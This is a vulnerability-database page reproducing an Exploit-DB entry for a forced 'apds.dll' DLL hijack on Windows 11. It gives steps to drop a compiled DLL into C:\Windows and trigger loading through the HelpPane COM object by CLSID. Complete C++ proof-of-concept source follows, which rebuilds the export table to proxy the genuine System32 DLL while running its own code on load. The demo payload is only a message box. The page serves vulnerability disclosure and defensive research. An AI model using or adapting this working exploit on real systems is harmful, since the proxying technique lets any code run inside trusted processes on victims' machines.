Lucene search
K

Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)

🗓️ 09 Oct 2023 00:00:00Reported by Moein ShahabiType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 360 Views

Microsoft Windows 11 'apds.dll' DLL hijacking (Forced) security issue with instructions for hijacking the HelpPane object and a code POC for DLL hijacking

Code
 #---------------------------------------------------------
# Title: Microsoft Windows 11 - 'apds.dll' DLL hijacking (Forced)
# Date: 2023-09-01
# Author: Moein Shahabi
# Vendor: https://www.microsoft.com
# Version: Windows 11 Pro 10.0.22621
# Tested on: Windows 11_x64 [eng]

#---------------------------------------------------------


Description:

HelpPane object allows us to force Windows 11 to DLL hijacking 

Instructions:

1. Compile dll
2. Copy newly compiled dll "apds.dll" in the "C:\Windows\" directory 
3. Launch cmd and Execute the following command to test HelpPane object "[System.Activator]::CreateInstance([Type]::GetTypeFromCLSID('8CEC58AE-07A1-11D9-B15E-000D56BFE6EE'))"
4. Boom DLL Hijacked!


------Code_Poc-------
#pragma once
#include <Windows.h>



// Function executed when the thread starts
extern "C" __declspec(dllexport)
DWORD WINAPI MessageBoxThread(LPVOID lpParam) {
    MessageBox(NULL, L"DLL Hijacked!", L"DLL Hijacked!", NULL);
    return 0;
}

PBYTE AllocateUsableMemory(PBYTE baseAddress, DWORD size, DWORD protection = PAGE_READWRITE) {
#ifdef _WIN64
    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)baseAddress;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
    PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;

    // Create some breathing room
    baseAddress = baseAddress + optionalHeader->SizeOfImage;

    for (PBYTE offset = baseAddress; offset < baseAddress + MAXDWORD; offset += 1024 * 8) {
        PBYTE usuable = (PBYTE)VirtualAlloc(
            offset,
            size,
            MEM_RESERVE | MEM_COMMIT,
            protection);

        if (usuable) {
            ZeroMemory(usuable, size); // Not sure if this is required
            return usuable;
        }
    }
#else
    // x86 doesn't matter where we allocate

    PBYTE usuable = (PBYTE)VirtualAlloc(
        NULL,
        size,
        MEM_RESERVE | MEM_COMMIT,
        protection);

    if (usuable) {
        ZeroMemory(usuable, size);
        return usuable;
    }
#endif
    return 0;
}

BOOL ProxyExports(HMODULE ourBase, HMODULE targetBase)
{
#ifdef _WIN64
    BYTE jmpPrefix[] = { 0x48, 0xb8 }; // Mov Rax <Addr>
    BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Rax
#else
    BYTE jmpPrefix[] = { 0xb8 }; // Mov Eax <Addr>
    BYTE jmpSuffix[] = { 0xff, 0xe0 }; // Jmp Eax
#endif

    PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetBase;
    PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
    PIMAGE_OPTIONAL_HEADER optionalHeader = &ntHeaders->OptionalHeader;
    PIMAGE_DATA_DIRECTORY exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (exportDataDirectory->Size == 0)
        return FALSE; // Nothing to forward

    PIMAGE_EXPORT_DIRECTORY targetExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);

    if (targetExportDirectory->NumberOfFunctions != targetExportDirectory->NumberOfNames)
        return FALSE; // TODO: Add support for DLLs with mixed ordinals

    dosHeader = (PIMAGE_DOS_HEADER)ourBase;
    ntHeaders = (PIMAGE_NT_HEADERS)((PBYTE)dosHeader + dosHeader->e_lfanew);
    optionalHeader = &ntHeaders->OptionalHeader;
    exportDataDirectory = &optionalHeader->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
    if (exportDataDirectory->Size == 0)
        return FALSE; // Our DLL is broken

    PIMAGE_EXPORT_DIRECTORY ourExportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PBYTE)dosHeader + exportDataDirectory->VirtualAddress);

    // ----------------------------------

    // Make current header data RW for redirections
    DWORD oldProtect = 0;
    if (!VirtualProtect(
        ourExportDirectory,
        64, PAGE_READWRITE,
        &oldProtect)) {
        return FALSE;
    }

    DWORD totalAllocationSize = 0;

    // Add the size of jumps
    totalAllocationSize += targetExportDirectory->NumberOfFunctions * (sizeof(jmpPrefix) + sizeof(jmpSuffix) + sizeof(LPVOID));

    // Add the size of function table
    totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(INT);

    // Add total size of names
    PINT targetAddressOfNames = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfNames);
    for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++)
        totalAllocationSize += (DWORD)strlen(((LPCSTR)((PBYTE)targetBase + targetAddressOfNames[i]))) + 1;

    // Add size of name table
    totalAllocationSize += targetExportDirectory->NumberOfNames * sizeof(INT);

    // Add the size of ordinals:
    totalAllocationSize += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);

    // Allocate usuable memory for rebuilt export data
    PBYTE exportData = AllocateUsableMemory((PBYTE)ourBase, totalAllocationSize, PAGE_READWRITE);
    if (!exportData)
        return FALSE;

    PBYTE sideAllocation = exportData; // Used for VirtualProtect later

    // Copy Function Table
    PINT newFunctionTable = (PINT)exportData;
    CopyMemory(newFunctionTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfFunctions * sizeof(INT));
    exportData += targetExportDirectory->NumberOfFunctions * sizeof(INT);
    ourExportDirectory->AddressOfFunctions = (DWORD)((PBYTE)newFunctionTable - (PBYTE)ourBase);

    // Write JMPs and update RVAs in the new function table
    PINT targetAddressOfFunctions = (PINT)((PBYTE)targetBase + targetExportDirectory->AddressOfFunctions);
    for (DWORD i = 0; i < targetExportDirectory->NumberOfFunctions; i++) {
        newFunctionTable[i] = (DWORD)(exportData - (PBYTE)ourBase);

        CopyMemory(exportData, jmpPrefix, sizeof(jmpPrefix));
        exportData += sizeof(jmpPrefix);

        PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfFunctions[i]);
        CopyMemory(exportData, &realAddress, sizeof(LPVOID));
        exportData += sizeof(LPVOID);

        CopyMemory(exportData, jmpSuffix, sizeof(jmpSuffix));
        exportData += sizeof(jmpSuffix);
    }

    // Copy Name RVA Table
    PINT newNameTable = (PINT)exportData;
    CopyMemory(newNameTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNames, targetExportDirectory->NumberOfNames * sizeof(DWORD));
    exportData += targetExportDirectory->NumberOfNames * sizeof(DWORD);
    ourExportDirectory->AddressOfNames = (DWORD)((PBYTE)newNameTable - (PBYTE)ourBase);

    // Copy names and apply delta to all the RVAs in the new name table
    for (DWORD i = 0; i < targetExportDirectory->NumberOfNames; i++) {
        PBYTE realAddress = (PBYTE)((PBYTE)targetBase + targetAddressOfNames[i]);
        DWORD length = (DWORD)strlen((LPCSTR)realAddress);
        CopyMemory(exportData, realAddress, length);
        newNameTable[i] = (DWORD)((PBYTE)exportData - (PBYTE)ourBase);
        exportData += length + 1;
    }

    // Copy Ordinal Table
    PINT newOrdinalTable = (PINT)exportData;
    CopyMemory(newOrdinalTable, (PBYTE)targetBase + targetExportDirectory->AddressOfNameOrdinals, targetExportDirectory->NumberOfFunctions * sizeof(USHORT));
    exportData += targetExportDirectory->NumberOfFunctions * sizeof(USHORT);
    ourExportDirectory->AddressOfNameOrdinals = (DWORD)((PBYTE)newOrdinalTable - (PBYTE)ourBase);

    // Set our counts straight
    ourExportDirectory->NumberOfFunctions = targetExportDirectory->NumberOfFunctions;
    ourExportDirectory->NumberOfNames = targetExportDirectory->NumberOfNames;

    if (!VirtualProtect(
        ourExportDirectory,
        64, oldProtect,
        &oldProtect)) {
        return FALSE;
    }

    if (!VirtualProtect(
        sideAllocation,
        totalAllocationSize,
        PAGE_EXECUTE_READ,
        &oldProtect)) {
        return FALSE;
    }

    return TRUE;
}
// Executed when the DLL is loaded (traditionally or through reflective injection)
BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    HMODULE realDLL;
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        CreateThread(NULL, NULL, MessageBoxThread, NULL, NULL, NULL);
        realDLL = LoadLibrary(L"C:\\Windows\\System32\\apds.dll");
        if (realDLL)
            ProxyExports(hModule, realDLL);


    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
--------------------------

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Oct 2023 00:00Current
7.4High risk
Vulners AI Score7.4
360